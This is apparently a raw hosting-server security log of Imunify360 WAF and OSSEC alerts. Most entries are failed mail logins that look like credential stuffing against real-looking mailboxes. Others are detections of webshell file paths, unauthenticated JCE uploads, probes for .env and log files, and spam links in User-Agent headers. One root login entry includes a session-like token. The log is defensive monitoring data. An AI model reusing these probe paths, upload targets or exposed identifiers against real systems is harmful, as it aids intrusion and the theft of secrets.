2026-07-09 22:47:54 dovecot_login authenticator failed for H=110-25-109-52.adsl.fetnet.net ([103.174.145.35]) [110.25.109.52]:44183: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 79.127.182.158
country_id: 719819
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceybgv64lx.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.192.162
country_id: 1269750
description:
2026-07-09 22:50:54 dovecot_login authenticator failed for H=(200-159-117-25.customer.tdatabrasil.net.br) [152.52.192.162]:32952: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.176.93
country_id: 2661886
description:
2026-07-09 22:51:05 dovecot_login authenticator failed for H=c83-191-176-93.bredband.tele2.se (111-70-28-243.emome-ip.hinet.net) [83.191.176.93]:41864: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-09 22:51:33 dovecot_login authenticator failed for H=([70.166.167.58]) [41.128.181.196]:33602: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.8.48.178
country_id: 1605651
description:
2026-07-09 22:51:49 dovecot_login authenticator failed for H=ppp-58-8-48-178.revip2.asianet.co.th ([218.159.144.187]) [58.8.48.178]:52907: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: stcinemas.co
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/oukdbvtw/fonts/cekcltns.PHP||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.129.75.178
country_id: 1835841
description:
2026-07-09 22:56:35 dovecot_login authenticator failed for H=([192.111.139.161]) [121.129.75.178]:52364: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.196.42.114
country_id: 2077456
description:
2026-07-09 22:56:57 dovecot_login authenticator failed for H=(core1-nap.jkt-link.iforte.net.id) [203.196.42.114]:36459: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.104.24.6
country_id: 3923057
description:
2026-07-09 23:04:24 dovecot_login authenticator failed for H=(cm-staticip-85-152-57-60.telecable.es) [190.104.24.6]:39212: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.223.119
country_id: 1835841
description:
2026-07-09 23:05:33 dovecot_login authenticator failed for H=([49.124.151.56]) [114.30.223.119]:42054: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.79.59.1
country_id: 878675
description:
2026-07-09 23:05:08 dovecot_login authenticator failed for H=([122.184.107.57]) [41.79.59.1]:55342: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: futuracare.com.au
description:
IM360 WAF: Track file upload for Infectors||RSV:8.27||T:APACHE||SC:/home/futuracarecom/public_html/index.php||User:futuracarecom||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.95.241.150
country_id: 1522867
description:
2026-07-09 23:17:12 dovecot_login authenticator failed for H=([65.20.163.103]) [93.95.241.150]:50097: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.251.41
country_id: 99237
description:
2026-07-09 23:17:28 dovecot_login authenticator failed for H=([184.181.178.35]) [65.20.251.41]:58290: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.146
country_id: 1819730
description:
2026-07-09 23:17:38 dovecot_login authenticator failed for H=146.47.246.220.static.netvigator.com (tdev152-167.codetel.net.do) [220.246.47.146]:60533: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.26
country_id: 1668284
description:
2026-07-09 23:17:44 dovecot_login authenticator failed for H=(189-20-181-138.customer.tdatabrasil.net.br) [101.13.5.26]:40298: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.168.6.27
country_id: 1512440
description:
2026-07-09 23:17:47 dovecot_plain authenticator failed for H=(spetritist) [170.168.6.27]:45672: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.244.219.170
country_id: 1835841
description:
2026-07-09 23:17:52 dovecot_plain authenticator failed for H=(laticon) [211.244.219.170]:40367: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.132.209.110
country_id: 6252001
description:
2026-07-09 23:18:06 dovecot_login authenticator failed for H=([72.205.0.69]) [47.132.209.110]:64734: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.126.215.120
country_id: 1835841
description:
2026-07-09 23:19:11 dovecot_login authenticator failed for H=([196.188.187.205]) [220.126.215.120]:44780: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-07-09 23:19:28 dovecot_login authenticator failed for H=([58.57.154.146]) [119.198.191.180]:40534: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.118.215.192
country_id: 3865483
description:
2026-07-09 23:19:38 dovecot_login authenticator failed for H=(187.058.067.17.static.host.gvt.net.br) [138.118.215.192]:34068: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 157.230.45.147
country_id: 1880251
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ddgalaxy/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.215.1.201
country_id: 2635167
description:
2026-07-09 23:25:50 dovecot_login authenticator failed for H=(27-32-45-241.static.tpgi.com.au) [88.215.1.201]:38025: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-09 23:25:18 dovecot_login authenticator failed for H=([177.7.30.137]) [94.16.17.141]:39932: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-09 23:30:14 dovecot_login authenticator failed for H=(120.245.223.60.adsl-pool.sx.cn) [196.41.207.112]:57671: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.96
country_id: 1733045
description:
2026-07-09 23:30:35 dovecot_login authenticator failed for H=([180.94.75.114]) [49.124.147.96]:38606: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 115.187.35.44
country_id: 1269750
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:98881.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:779a4aefbecca953ebe23a97d6e6728b3ba7d843||Title:0xb8a0cbd0||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-09 23:32:20 dovecot_login authenticator failed for H=([192.111.130.1]) [220.118.190.204]:18938: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.56.174.63
country_id: 3686110
description:
2026-07-09 23:33:49 dovecot_login authenticator failed for H=([192.111.134.12]) [181.56.174.63]:40944: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-09 23:34:23 dovecot_login authenticator failed for H=ns1.sinergi.net.id ([67.201.57.102]) [223.25.108.2]:44254: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.168.115.241
country_id: 6252001
domain: sriganapathyent.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.27||T:APACHE||RA:104.168.115.241||TA:104.168.115.241||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.168.115.241
country_id: 6252001
domain: sriganapathyent.in
description:
IM360 WAF: Bad file extension||RSV:8.27||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:vrishenterprises||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.203.101.30
country_id: 3624060
description:
2026-07-09 23:36:55 dovecot_login authenticator failed for H=(bd7b2573.virtua.com.br) [201.203.101.30]:46910: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvac-boonville-in.zzz-1.com/\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.23.169
country_id: 1168579
description:
2026-07-09 23:41:16 dovecot_login authenticator failed for H=([84.111.136.211]) [103.83.23.169]:55570: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.145
country_id: 1668284
description:
2026-07-09 23:41:47 dovecot_login authenticator failed for H=110-25-112-145.adsl.fetnet.net ([174.64.199.77]) [110.25.112.145]:41991: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.243
country_id: 1668284
description:
2026-07-09 23:42:04 dovecot_login authenticator failed for H=111-70-28-243.emome-ip.hinet.net ([70.166.167.35]) [111.70.28.243]:34428: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-09 23:43:37 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee ([128.134.83.141]) [83.166.50.15]:48387: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.45.75.104
country_id: 6252001
description:
2026-07-09 23:57:20 dovecot_login authenticator failed for H=([46.121.168.112]) [216.45.75.104]:35569: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-09 23:57:42 dovecot_login authenticator failed for H=(abts-mum-static-140.111.170.122.airtelbroadband.in) [103.168.241.32]:55950: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-09 23:56:54 dovecot_login authenticator failed for H=([70.166.167.33]) [1.250.67.114]:53656: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-10 00:00:47 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com ([14.54.22.11]) [94.255.255.26]:57718: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-07-10 00:01:02 dovecot_login authenticator failed for H=([211.187.7.14]) [196.0.113.110]:46221: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvac-hvac-installation-platteville-wi.zzz-1.com/\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 103.130.80.34
country_id: 1643084
domain: stcinemas.co
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/km/fonts/index.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-10 00:05:59 dovecot_login authenticator failed for H=(110-25-107-172.adsl.fetnet.net) [172.191.74.151]:55892: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-10 00:06:31 dovecot_login authenticator failed for H=([174.64.199.88]) [128.185.208.42]:56926: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-10 00:13:11 +0530] info [whostmgrd] 223.181.13.36 NEW root:3m_gEYhTt2N3Vk9c address=223.181.13.36,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.111.148.83
country_id: 1835841
description:
2026-07-10 00:18:29 dovecot_login authenticator failed for H=([125.21.124.153]) [222.111.148.83]:54527: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-10 00:18:48 dovecot_login authenticator failed for H=([179.184.85.167]) [182.73.109.194]:48766: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.186.30.22
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.27||T:APACHE||SC:/home/alnay/public_html/index.php||User:alnay||WPU:||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 162.216.148.0
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-10 00:23:19 dovecot_login authenticator failed for H=([174.75.211.196]) [125.23.155.110]:50384: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-10 00:23:31 dovecot_login authenticator failed for H=([68.71.252.33]) [41.215.125.250]:41214: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.83.9.140
country_id: 1694008
description:
2026-07-10 00:25:07 dovecot_login authenticator failed for H=(62.36.19.42.static.abi.uni2.es) [124.83.9.140]:42894: 535 Incorrect authentication data


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 81.171.72.135
country_id: 3017382
domain: futuracare.com.au
description:
IM360 WAF: Bad file extension||RSV:8.27||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:futuracarecom||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-rishikesh.html\">Rishikesh Call Girl</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 2401:4900:8fdd:a8f0:94b9:ef78:9888:ffb5
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Special shell symbol in request||MV:modified_by}||MVN:ARGS:jform[editemailreceiptsettings][editemailreceipttext]||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-10 00:37:46 dovecot_login authenticator failed for H=([179.125.104.245]) [197.219.208.38]:36748: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
country_id: 1269750
description:
2026-07-10 00:39:34 dovecot_login authenticator failed for H=(ccabv.org.cta.gvt.net.br) [182.76.71.82]:43320: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.75
country_id: 1668284
description:
2026-07-10 00:39:52 dovecot_login authenticator failed for H=([49.238.215.194]) [101.13.1.75]:56898: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-10 00:40:31 dovecot_login authenticator failed for H=([112.161.42.97]) [65.20.211.96]:46578: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.208.190
country_id: 1668284
description:
2026-07-10 00:47:55 dovecot_login authenticator failed for H=(WnjI5Zm) [165.154.208.190]:52153: 535 Incorrect authentication data (set_id=jijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.208.190
country_id: 1668284
description:
2026-07-10 00:48:52 dovecot_login authenticator failed for H=(7mOmvZn) [165.154.208.190]:55675: 535 Incorrect authentication data (set_id=jijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-10 00:51:38 dovecot_login authenticator failed for H=([45.164.115.86]) [202.62.88.25]:40878: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-10 00:51:49 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net (ipmapt-72-195-114-182.oc.oc.cox.net) [64.207.225.55]:54636: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/peqjbfww/fonts/unlgpliv.PHP||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-07-10 00:54:31 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [128.185.209.30]:42134: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.90.184.28
country_id: 1831722
description:
[2026-07-10 00:54:56 +0530] info [whostmgrd] 111.90.184.28 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-07-10 00:59:41 dovecot_login authenticator failed for H=([50.223.185.211]) [196.191.142.67]:55172: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.167.50.229
country_id: 1835841
description:
2026-07-10 01:02:38 dovecot_login authenticator failed for H=(81-25-159-170.junet.se) [221.167.50.229]:38674: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.76
country_id: 1819730
description:
2026-07-10 01:03:07 dovecot_login authenticator failed for H=([70.166.167.60]) [121.202.206.76]:41911: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-07-10 01:08:42 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de ([117.244.16.5]) [93.241.232.14]:55375: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.76
country_id: 1819730
description:
2026-07-10 01:08:55 dovecot_login authenticator failed for H=([70.166.167.60]) [121.202.206.76]:32982: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-10 01:11:44 dovecot_login authenticator failed for H=([192.111.143.93]) [122.184.124.46]:37558: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.110
country_id: 99237
description:
2026-07-10 01:11:23 dovecot_login authenticator failed for H=(120.245.223.60.adsl-pool.sx.cn) [65.20.233.110]:49626: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-10 01:13:49 dovecot_login authenticator failed for H=ns1.sinergi.net.id (22.32.117.87.donpac.ru) [223.25.108.2]:38946: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.167.250.45
country_id: 3686110
description:
2026-07-10 01:14:16 dovecot_login authenticator failed for H=([31.130.35.29]) [45.167.250.45]:39020: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-10 01:19:13 dovecot_login authenticator failed for H=(210.4.68-73.bdcom.com) [182.95.229.110]:37310: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-10 01:19:32 dovecot_login authenticator failed for H=([112.173.166.253]) [50.121.186.125]:52040: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.22.207
country_id: 6252001
description:
2026-07-10 01:21:11 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [207.254.22.207]:53128: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.138.181
country_id: 1819730
description:
2026-07-10 01:21:38 dovecot_login authenticator failed for H=(203.115.130.46.in-addr.viva.am) [121.202.138.181]:34638: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-10 01:27:02 dovecot_login authenticator failed for H=([70.166.167.33]) [117.250.19.91]:48682: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.141.252.55
country_id: 6252001
description:
2026-07-10 01:27:35 dovecot_login authenticator failed for H=([49.124.151.10]) [38.141.252.55]:55279: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 182.9.35.64
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/wp-content/uploads/2023/12/config.php||SC:/home/idealloanzcom/public_html/wp-content||


plugin: modsec
rule: 77469916
abuser: 23.180.120.146
country_id: 6252001
domain: ns2.ddgalaxy.in
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-09d737694f81.xml.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: fefkadirectorsunion.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/emjxkeke/fonts/diqbwzeg.PHP||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.177.88.90
country_id: 3624060
description:
2026-07-10 01:34:14 dovecot_login authenticator failed for H=([220.77.214.59]) [186.177.88.90]:60520: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.18.201
country_id: 1880251
domain: www.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-10 01:36:40 dovecot_login authenticator failed for H=([36.135.100.48]) [112.161.26.125]:44754: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-10 01:37:07 dovecot_login authenticator failed for H=([218.202.112.10]) [112.161.26.125]:47596: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.187.155.130
country_id: 6252001
description:
2026-07-10 01:37:53 dovecot_login authenticator failed for H=([69.176.171.169]) [50.187.155.130]:53453: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-10 01:46:46 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([46.163.189.191]) [64.207.225.55]:44054: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 61.111.250.85
country_id: 1835841
domain: futuracare.com.au
description:
IM360 WAF: Bad file extension||RSV:8.27||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:futuracarecom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.65.73.22
country_id: 1835841
description:
2026-07-10 01:47:22 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [58.65.73.22]:34146: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.228.146
country_id: 1835841
description:
2026-07-10 01:48:33 dovecot_login authenticator failed for H=([166.239.184.117]) [218.149.228.146]:58818: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-10 01:49:13 dovecot_login authenticator failed for H=(static.92.254.104.190.cps.com.ar) [102.210.148.41]:53976: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.191.145.0
country_id: 337996
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/index.php HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.218.247.234
country_id: 1522867
description:
2026-07-10 01:52:34 dovecot_login authenticator failed for H=([67.201.33.12]) [89.218.247.234]:45968: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.128.84.224
country_id: 1835841
description:
2026-07-10 01:52:52 dovecot_login authenticator failed for H=([186.238.157.140]) [121.128.84.224]:45740: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 161.123.107.168
country_id: 6252001
domain: metrodigitals.com
description:
